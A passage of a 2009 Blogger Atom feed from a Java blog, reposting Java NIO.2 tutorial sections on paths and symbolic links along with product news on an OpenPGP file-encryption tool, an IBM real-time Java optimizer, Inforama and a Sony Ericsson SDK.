identical and both instances locate the same relative file. &lt;/p&gt;&lt;p&gt; The file or directory corresponding to the &lt;code&gt;Path&lt;/code&gt; might not exist. You can create a &lt;code&gt;Path&lt;/code&gt; instance and manipulate it in various ways:  you can append to it, extract pieces of it, compare it to another path.  At the appropriate time, you can check the existence of the file corresponding to the &lt;code&gt;Path&lt;/code&gt;, create the file, open it, delete it, change its permissions, and so on. &lt;/p&gt;&lt;p&gt; The &lt;code&gt;Path&lt;/code&gt; class is "link aware." Every &lt;code&gt;Path&lt;/code&gt; method either detects what to do when a symbolic link is encountered, or it provides an option enabling you to configure the behavior when a symbolic link is encountered.    &lt;/p&gt;&lt;p&gt; The &lt;code&gt;Path&lt;/code&gt; class offers a rich feature set and is very easy to use. Most methods in the &lt;code&gt;Path&lt;/code&gt; class fall into one of the following two categories: &lt;/p&gt;&lt;ul&gt;&lt;li&gt; &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/pathOps.html"&gt;Path operations&lt;/a&gt; – Methods for returning parts of a path, such as the root, name, or parent directory and methods for manipulating a path &lt;/li&gt;&lt;li&gt; &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/fileOps.html"&gt;File operations&lt;/a&gt; – Methods for opening a file for I/O, creating a file, creating a directory, deleting a file, copying a file, and so on &lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-2800460765538086563?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/2800460765538086563/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=2800460765538086563' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/2800460765538086563'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/2800460765538086563'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/path-class.html' title='The Path Class'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-8956849166453573355</id><published>2009-09-10T20:16:00.001-07:00</published><updated>2009-09-10T20:16:57.239-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>What Is a Path? (And Other File System Facts)</title><content type='html'>A file system stores and organizes files on some form of media, generally one or more hard drives, in such a way that they can be easily retrieved. Most file systems in use today store the files in a tree (or &lt;em&gt;hierarchical&lt;/em&gt;) structure. At the top of the tree is one (or more) root nodes. Under the root node, there are files and directories (&lt;em&gt;folders&lt;/em&gt; in Microsoft Windows).  Each directory can contain files and subdirectories, which in turn can contain files and subdirectories, and so on, potentially to an almost limitless depth. &lt;p&gt; This section covers the following: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://java.sun.com/docs/books/tutorial/essential/io/path.html#path"&gt;What Is a Path?&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://java.sun.com/docs/books/tutorial/essential/io/path.html#relative"&gt;Relative or Absolute?&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://java.sun.com/docs/books/tutorial/essential/io/path.html#symlink"&gt;Symbolic Links&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p&gt; &lt;/p&gt;&lt;h3 fmstyle="C-Head"&gt;&lt;a name="path"&gt;What Is a Path?&lt;/a&gt;&lt;/h3&gt; The following figure shows a sample directory tree containing a single root node. Microsoft Windows supports multiple root nodes. Each root node maps to a volume, such as &lt;code&gt;C:\&lt;/code&gt; or &lt;code&gt;D:\&lt;/code&gt;. The Solaris OS supports a single root node, which is denoted by the slash character, &lt;code&gt;/&lt;/code&gt;.  &lt;center&gt;&lt;p&gt;&lt;img src="http://java.sun.com/docs/books/tutorial/figures/essential/io-dirStructure.gif" alt="Sample directory structure" align="bottom" width="503" height="392" /&gt;&lt;/p&gt;&lt;center&gt;Sample Directory Structure&lt;/center&gt;&lt;/center&gt;  A file is identified by its path through the file system, beginning from the root node.  For example, the &lt;code&gt;statusReport&lt;/code&gt; file in the previous figure is described by the following notation in the Solaris OS: &lt;blockquote&gt;&lt;pre&gt;/home/sally/statusReport&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; In Microsoft Windows, &lt;code&gt;statusReport&lt;/code&gt; is described by the following notation: &lt;blockquote&gt;&lt;pre&gt;C:\home\sally\statusReport&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; The character used to separate the directory names (also called the &lt;em&gt;delimiter&lt;/em&gt;) is specific to the file system: The Solaris OS uses the forward slash (&lt;code&gt;/&lt;/code&gt;), and Microsoft Windows uses the backslash slash (&lt;code&gt;\&lt;/code&gt;).  &lt;p&gt; &lt;/p&gt;&lt;h3 fmstyle="C-Head"&gt;&lt;a name="relative"&gt;Relative or Absolute?&lt;/a&gt;&lt;/h3&gt; &lt;p&gt; A path is either &lt;em&gt;relative&lt;/em&gt; or &lt;em&gt;absolute&lt;/em&gt;. An absolute path always contains the root element and the complete directory list required to locate the file. For example, &lt;code&gt;/home/sally/statusReport&lt;/code&gt; is an absolute path.  All of the information needed to locate the file is contained in the path string. &lt;/p&gt;&lt;p&gt; A relative path needs to be combined with another path in order to access a file. For example, &lt;code&gt;joe/foo&lt;/code&gt; is a relative path. Without more information, a program cannot reliably locate the &lt;code&gt;joe/foo&lt;/code&gt; directory in the file system.  &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h3 fmstyle="C-Head"&gt;&lt;a name="symlink"&gt;Symbolic Links&lt;/a&gt;&lt;/h3&gt;  File system objects are most typically directories or files. Everyone is familiar with these objects. But some file systems also support the notion of symbolic links. A symbolic link is also referred to as a &lt;em&gt;symlink&lt;/em&gt; or a &lt;em&gt;soft link&lt;/em&gt;. &lt;p&gt; A &lt;em&gt;symbolic link&lt;/em&gt; is a special file that serves as a reference to another file.  For the most part, symbolic links are transparent to applications, and operations on symbolic links are automatically redirected to the target of the link. (The file or directory being pointed to is called the &lt;em&gt;target&lt;/em&gt; of the link.) Exceptions are when a symbolic link is deleted, or renamed in which case the link itself is deleted, or renamed and not the target of the link. &lt;/p&gt;&lt;p&gt; In the following figure, &lt;code&gt;logFile&lt;/code&gt; appears to be a regular file to the user, but it is actually a symbolic link to &lt;code&gt;dir/logs/HomeLogFile&lt;/code&gt;. &lt;code&gt;HomeLogFile&lt;/code&gt; is the target of the link.  &lt;/p&gt;&lt;center&gt;&lt;p&gt;&lt;img src="http://java.sun.com/docs/books/tutorial/figures/essential/io-symlink.png" alt="Sample symbolic link" align="bottom" width="669" height="383" /&gt;&lt;/p&gt;&lt;center&gt;Example of a Symbolic Link.&lt;/center&gt;&lt;/center&gt; &lt;p&gt; A symbolic link is usually transparent to the user. Reading or writing to a symbolic link is the same as reading or writing to any other file or directory.  &lt;/p&gt;&lt;p&gt; The phrase &lt;em&gt;resolving a link&lt;/em&gt; means to substitute the actual location in the file system for the symbolic link. In the example, resolving  &lt;code&gt;logFile&lt;/code&gt; yields &lt;code&gt;&lt;nobr&gt;dir/logs/HomeLogFile&lt;/nobr&gt;&lt;/code&gt;. &lt;/p&gt;&lt;p&gt; In real-world scenarios, most file systems make liberal use of symbolic links. Occasionally, a carelessly created symbolic link can cause a circular reference. A circular reference occurs when the target of a link points back to the original link. The circular reference might be indirect: directory &lt;code&gt;a&lt;/code&gt; points to directory &lt;code&gt;b&lt;/code&gt;, which points to directory &lt;code&gt;c&lt;/code&gt;, which contains a subdirectory pointing back to directory &lt;code&gt;a&lt;/code&gt;. Circular references can cause havoc when a program is recursively walking a directory structure. However, this scenario has been accounted for and will not cause your program to loop infinitely. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-8956849166453573355?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/8956849166453573355/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=8956849166453573355' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8956849166453573355'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8956849166453573355'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/what-is-path-and-other-file-system.html' title='What Is a Path? (And Other File System Facts)'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-5701710744504201695</id><published>2009-09-10T20:12:00.000-07:00</published><updated>2009-09-10T20:16:07.892-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>File I/O (Featuring NIO.2)</title><content type='html'>&lt;h1&gt;&lt;span style="font-size:100%;"&gt;&lt;strong&gt;This section is being updated to reflect features and conventions of the upcoming release, JDK7. You can download the current &lt;a href="http://download.java.net/jdk7/binaries/"&gt;JDK7 Snapshot&lt;/a&gt; from &lt;code&gt;java.net&lt;/code&gt;. We've published this preliminary version so you can get the most current information now, and so you can &lt;a href="http://developer.sun.com/contact/tutorial_feedback.jsp" target="_top"&gt;tell us&lt;/a&gt;  about errors, omissions, or improvements we can make to this tutorial.&lt;/strong&gt;&lt;/span&gt; &lt;/h1&gt;&lt;hr /&gt;  The &lt;code&gt;java.nio.file&lt;/code&gt; package and its related package, &lt;code&gt;java.nio.file.attribute&lt;/code&gt;, provide comprehensive support for file I/O and for accessing the default file system. Though the API has many classes, you need to focus on only a few entry points. You will see that this API is very intuitive and easy to use. &lt;p&gt; The tutorial starts by asking &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/path.html"&gt;what is a path?&lt;/a&gt; Then, the &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/pathClass.html"&gt;Path class&lt;/a&gt;, the primary entry point for the package, is introduced. Methods in the &lt;code&gt;Path&lt;/code&gt; class relating to &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/pathOps.html"&gt;syntactic operations&lt;/a&gt; are explained.  The tutorial then moves on to &lt;code&gt;Path&lt;/code&gt; methods that deal with file operations.  First, some concepts common to many &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/fileOps.html"&gt;file operations&lt;/a&gt; are introduced. The tutorial then covers methods for &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/check.html"&gt;checking&lt;/a&gt;,  &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/delete.html"&gt;deleting&lt;/a&gt;, &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/copy.html"&gt;copying&lt;/a&gt;, and &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/move.html"&gt;moving&lt;/a&gt; files. &lt;/p&gt;&lt;p&gt; The tutorial shows how &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/fileAttr.html"&gt;metadata&lt;/a&gt; is managed, before moving on to  &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/file.html"&gt;file I/O&lt;/a&gt; and &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/dirs.html"&gt;directory I/O&lt;/a&gt;. &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/rafs.html"&gt;Random access files&lt;/a&gt; are explained and issues specific to &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/links.html"&gt;symbolic and hard links&lt;/a&gt; are examined. &lt;/p&gt;&lt;p&gt; Next, some of the very powerful, but more advanced, topics are covered. First, the capability to &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/walk.html"&gt;recursively walk the file tree&lt;/a&gt; is demonstrated, followed by information about how to &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/find.html"&gt;search for files using wild cards&lt;/a&gt;. Next, how to &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/notification.html"&gt;watch a directory for changes&lt;/a&gt; is explained and demonstrated.  Then, &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/misc.html"&gt;methods that didn't fit elsewhere&lt;/a&gt; are given some attention. &lt;/p&gt;&lt;p&gt; Finally, if you have file I/O code written prior to the JDK7 release, there is a &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/legacy.html#mapping"&gt;map from the old API to the new API&lt;/a&gt;, as well as important information about the &lt;code&gt;File.toPath&lt;/code&gt; method for developers who would like to &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/legacy.html#interop"&gt;leverage the new API without rewriting existing code&lt;/a&gt;.         &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-5701710744504201695?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/5701710744504201695/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=5701710744504201695' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5701710744504201695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5701710744504201695'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/file-io-featuring-nio2.html' title='File I/O (Featuring NIO.2)'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-7602938156105330596</id><published>2009-09-10T18:38:00.001-07:00</published><updated>2009-09-10T18:38:58.691-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Policy-Driven File Encryption Explorer Based on OpenPGP for Secure Storage Solutions</title><content type='html'>&lt;em&gt;A tool to help secure data at rest as well as data in flight, through a user-friendly  explorer GUI, with enhanced policy support for file classification based on  attributes and content semantics.&lt;br /&gt;&lt;/em&gt;&lt;p&gt;Policy-Driven File Encryption Explorer is a technology that addresses security needs in file-based storage solutions and secure desktop needs. It enables protection of data-at-rest as well as data-in-flight, by providing policy-governed granular file based encryption. &lt;/p&gt;&lt;p&gt; Since the technology is file-based, it suits file-based storage solutions like  Network Attached Storage (NAS) where the storage is accessed by the end client  nodes using distributed filesystem or remote data access tools and where securing  data at the client node by the owner of the data is a preferred approach.  &lt;/p&gt; &lt;p&gt; The utility is policy-based which helps meet the security needs in  Information Lifecycle Management (ILM) by facilitating granular  management of data security. It allows end users and administrators to  define policies over type, age, size, access and related attributes associated with the  data and security requirement that needs to surround it.  &lt;/p&gt;&lt;p&gt; Policy-Driven File Encryption Explorer allows you to identify files with specific  content and secure them using different encryption algorithms.  It supports user interactive mode as well as batch processing mode, which is vital for storage administrators securing large sets of files.  The technology also features with report generation which can be used for  security audits and compliance.  &lt;/p&gt; &lt;p&gt; Policy-Driven File Encryption Explorer empowers the data owner to play a more active role in implementing the organizations security policies. Administrator/owner can generate policy based reports periodically or at will to check whether the data present is compliant to organization’s data security policies. &lt;/p&gt; &lt;p&gt; &lt;b&gt;Highlights&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt;&lt;ul class="ibm-bullet-list ibm-no-links"&gt;&lt;li&gt;Ensures securing of data-at-rest as well as data-in-flight by leveraging OpenPGP for file protection, including file encryption, decryption, signing , verifying and optional file compression. &lt;/li&gt;&lt;li&gt;Policy based. Allows administrators and owner of files to classify data and likewise enable data encryption polices. Provisions with interfaces to set generic polices which define which kind of file needs to be protected by which level of encryption, which kind of file needs to be signed, which kind of file needs to be compressed, and more. &lt;/li&gt;&lt;li&gt;Enables user-defined constraints in each policy such as location, extension, hidden, read-only, size, age for the files and respective algorithms to be used for the encryption and digest -- thus meeting some of the ILM requirements. Allows various files attributes to be used for defining policies. &lt;/li&gt;&lt;li&gt;Remote-location-aware. The tool indicates to the user to choose tighter security algorithm in such cases. The tool identifies files residing on mapped remote drives (generally exported by Network Attached Storage appliances) to facilitate higher level of encryption over remotely residing files, thus protecting data over insecure network. &lt;/li&gt;&lt;li&gt;Provides facilitates to secure documents and files based on its actual content. &lt;/li&gt;&lt;li&gt;Supports batch processing suitable for mass execution. &lt;/li&gt;&lt;li&gt;Offers a reporting facility which can be used for security audits and compliance. Supports importing reports to Microsoft Excel. &lt;/li&gt;&lt;li&gt;Integrated with auditing and logging facility to record all relevant file operation executed using the utility. &lt;/li&gt;&lt;li&gt;User-friendly user interface. The user interface of the utility is explicitly designed as an explorer GUI which makes it consumable and highly user friendly. The UI has been designed with novice end users as well as storage administrators in mind. Securing files can be as easy as dragging and dropping them in the explorer. &lt;/li&gt;&lt;li&gt;Based on open standards: Plugs-in open source OpenPGP library from Bouncy Castle Crypto APIs for exercising OpenPGP functionality. OpenPGP compliance ensures interoperability and facilitates securely sharing of data with trusted partners. &lt;/li&gt;&lt;li&gt;Built on the Eclipse Rich Client Platform.&lt;/li&gt;&lt;/ul&gt;     &lt;!--div class="ibm-container" --&gt;&lt;h2&gt;How does it work?&lt;/h2&gt; &lt;!--div class="ibm-container-body" --&gt;&lt;p&gt;The technology is designed to work over OpenPGP standards. This helps interoperability across platforms and facilitates secure sharing of data with trusted partners -- which is a pragmatic requirement in the industry. &lt;/p&gt;&lt;p&gt; The current version of the technology plugs-in an opensource OpenPGP library from Bouncy Castle Crypto APIs to exercise the OpenPGP related modules. &lt;/p&gt;&lt;p&gt;OpenPGP is a widely used standard in the industry to meet privacy, integrity, and non-reputation goals. It supports digital signatures to ensure the ownership of the data as well as to help validate tamper attempts over the data. It further helps ensure that only owner controlled users can have access to the encrypted data making it independent of device level encryption facility. The utility derives all these OpenPGP benefits as it is built over it. &lt;/p&gt; &lt;p&gt;See a &lt;a href="http://www.youtube.com/watch?v=rx7uwLYzYak" target="_blank"&gt;video demonstration on YouTube&lt;/a&gt;. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-7602938156105330596?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/7602938156105330596/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=7602938156105330596' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7602938156105330596'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7602938156105330596'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/policy-driven-file-encryption-explorer.html' title='Policy-Driven File Encryption Explorer Based on OpenPGP for Secure Storage Solutions'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-8652015561097645916</id><published>2009-09-10T18:34:00.000-07:00</published><updated>2009-09-10T18:38:06.051-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>IBM Real Time Application Execution Optimizer for Java</title><content type='html'>&lt;p&gt; IBM Real Time Application Execution Optimizer for Java helps to optimize and verify a compiled Java application, preparing the application for deployment in specific environments. It is a command line tool that can operate on any compiled Java application, whether standard edition, micro-edition, or real-time. &lt;/p&gt;&lt;p&gt; The tool provides the following functions: &lt;/p&gt;&lt;ul class="ibm-bullet-list ibm-no-links"&gt;&lt;li&gt;Escape analysis of objects per method invocation &lt;/li&gt;&lt;li&gt;Control flow analysis that splits an application into archives according to thread accessibility &lt;/li&gt;&lt;li&gt;Control flow analysis that detects potental occurrences of real-time java runtime errors MemoryAccessError, IllegalAssignmentError, IllegalThreadStateException &lt;/li&gt;&lt;li&gt;Control flow analysis that determines entry points into an application &lt;/li&gt;&lt;li&gt;Addition of stackmaps to Java class files &lt;/li&gt;&lt;li&gt;Verification of Java class files &lt;/li&gt;&lt;li&gt;Auto-generation of classes that will load and initialize all other classes within the same archive &lt;/li&gt;&lt;li&gt;Specialized packaging of Java applications into deployable archives by packaging all referenced classes from a dual class path &lt;/li&gt;&lt;li&gt;Removal of unwanted attributes from Java class files &lt;/li&gt;&lt;/ul&gt;   &lt;!--div class="ibm-container" --&gt;&lt;h2&gt;How does it work?&lt;/h2&gt; &lt;!--div class="ibm-container-body" --&gt;&lt;p&gt;IBM Real Time Application Execution Optimizer for Java has many features. It loads the classes and resources of an application, analyzes or modifies them, then it writes them to disk along with any requested analysis files. &lt;/p&gt;&lt;p&gt;While loading the application, all classes needed for deployment of the application are identified and loaded. Also identified are all unresolved references. An unresolved reference is a class, method or field that cannot be found. Each class is checked for all possible class loading, resolution, and verification errors. This can be helpful to verify classes that are not produced by standard compilers and to ensure no application components are missing. &lt;/p&gt;&lt;p&gt; The tool separates application classes into the following categories: &lt;/p&gt;&lt;ul class="ibm-bullet-list ibm-no-links"&gt;&lt;li&gt;NoHeapRealtimeThread (NHRT) accessible&lt;/li&gt;&lt;li&gt;RealtimeThread accessible&lt;/li&gt;&lt;li&gt;regular thread accessible&lt;/li&gt;&lt;li&gt;inaccessible: classes not accessible to any thread.  &lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;Once separated, the tool will package these class groups into separate archives for specialized deployment when the classes are written to disk. It will package resources into an additional archive. &lt;/p&gt;&lt;p&gt;While analyzing the control flow of the application, the tool identifies all entry points into the application, which are the classes, methods or fields that can be accessed from outside the application. For example, it will detect methods that can be invoked in application classes from external classes because they override external methods. &lt;/p&gt;&lt;p&gt; It verifies the integrity of real-time Java memory usage in the application, by detecting the potential run-time errors MemoryAccessError, IllegalAssignmentError and IllegalThreadStateException which are common errors that are difficult to eliminate when developing real-time Java. &lt;/p&gt;&lt;p&gt;Escape analysis is used by the tool to determine the persistent memory characteristics of allocated objects within the application on a per-invocation basis. For each method, an escape analysis determines whether the objects created by invocations of the method can persist. This helps identify memory requirements for the heap, for scopes, and for other memory areas in use. &lt;/p&gt;&lt;p&gt; While writing classes, to disk, the tool can remove unwanted class file attributes (such as attributes needed only for debugging), and adds stackmaps to classes. This can assist with run-time memory consumption constraints. &lt;/p&gt;&lt;p&gt;The tool can add to each written archive an auto-loader class that will load and initialize all other classes within the same archive, in order to trigger early class initialization for an application.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-8652015561097645916?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/8652015561097645916/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=8652015561097645916' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8652015561097645916'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8652015561097645916'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/ibm-real-time-application-execution.html' title='IBM Real Time Application Execution Optimizer for Java'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-5205225055107916277</id><published>2009-09-10T18:31:00.000-07:00</published><updated>2009-09-10T18:32:57.798-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>Inforama Document Automation System 1.3 Released</title><content type='html'>&lt;p&gt; Version 1.3 inlcudes a more advanced mailshot dialog, the ability to save a mailshot script for reuse, more advanced plug-in architecture with a sample plug-in for Salesforce contact details. &lt;/p&gt;&lt;p&gt;Inforama is a Java based Document Automation system which allows document templates to be created quickly and easily using OpenOffice. Templates are populated with data from parameters, databases and other datasources before being generated into PDFs for printing and emailing. Version 1.3 includes some significant enhancements and bug fixes including the following...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;New mailshot dialog&lt;/b&gt;The new mailshot dialog gives users better control over how documents are emailed and printed during a mailshot. Preview generated documents before processing them and save the entire mailshot script for future use to save time. For more on this see the mailshot dialog tutorial at &lt;a href="http://www.in4ama.org/web/guest/community/wiki/-/wiki/Main/1.3+Mailshot+Dialog"&gt;http://www.in4ama.org/web/guest/community/wiki/-/wiki/Main/1.3+Mailshot+Dialog&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Enhanced plug-in architecture&lt;/b&gt; Create plug-ins which can be used to add menus dialogs and wizards to the Studio. You can also create dataset plug-ins to retrieve your data from custom data sources&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Salesforce plug-in&lt;/b&gt;This is a sample plug-in which can be used to merge Salesforce contact data with generated documents. The source code for this plug-in is available for download from the sourceforge project at &lt;a href="http://sourceforge.net/projects/inforama"&gt;http://sourceforge.net/projects/inforama&lt;/a&gt;. More information on how to use the plug-in can be found at &lt;a href="http://www.in4ama.org/web/guest/community/wiki/-/wiki/Main/Salesforce+Plug-in+for+Inforama"&gt;http://www.in4ama.org/web/guest/community/wiki/-/wiki/Main/Salesforce+Plug-in+for+Inforama&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Visit the Inforama website at &lt;a href="http://www.in4ama.org/"&gt;http://www.in4ama.org&lt;/a&gt; For a quick overview of how Inforama works have a look at the webcasts at &lt;a href="http://in4ama.org/web/guest/documentation/webcasts"&gt;http://in4ama.org/web/guest/documentation/webcasts&lt;/a&gt;  &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-5205225055107916277?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/5205225055107916277/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=5205225055107916277' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5205225055107916277'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5205225055107916277'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/inforama-document-automation-system-13.html' title='Inforama Document Automation System 1.3 Released'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-1963298747722444870</id><published>2009-09-10T18:30:00.000-07:00</published><updated>2009-09-10T18:31:20.306-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>Sony Ericsson Puts Developers at the Centre of User Experience with XPERIA X2</title><content type='html'>&lt;pre&gt;New Streamlined Development Tool Maximises Revenue Opportunities and Allows&lt;br /&gt;Developers to Create the First Windows Mobile 6.5 Applications for the XPERIA X2&lt;br /&gt;LUND, Sweden--(Business Wire)--&lt;br /&gt;Sony Ericsson launches the Panel SDK in a drive to encourage developers to&lt;br /&gt;create content for the XPERIA X2. The eye-catching interface includes a new&lt;br /&gt;range of interactive Panels on the home screen offering business, fun and&lt;br /&gt;communication features. By providing unparalleled real estate and marketing&lt;br /&gt;visibility, the Panel interface makes the developer central to the user&lt;br /&gt;experience.&lt;br /&gt;&lt;br /&gt;The Panel SDK includes a Panelizer which turns existing Flash, Java and Windows&lt;br /&gt;Mobile applications into Panels for the XPERIA X2 , and a native 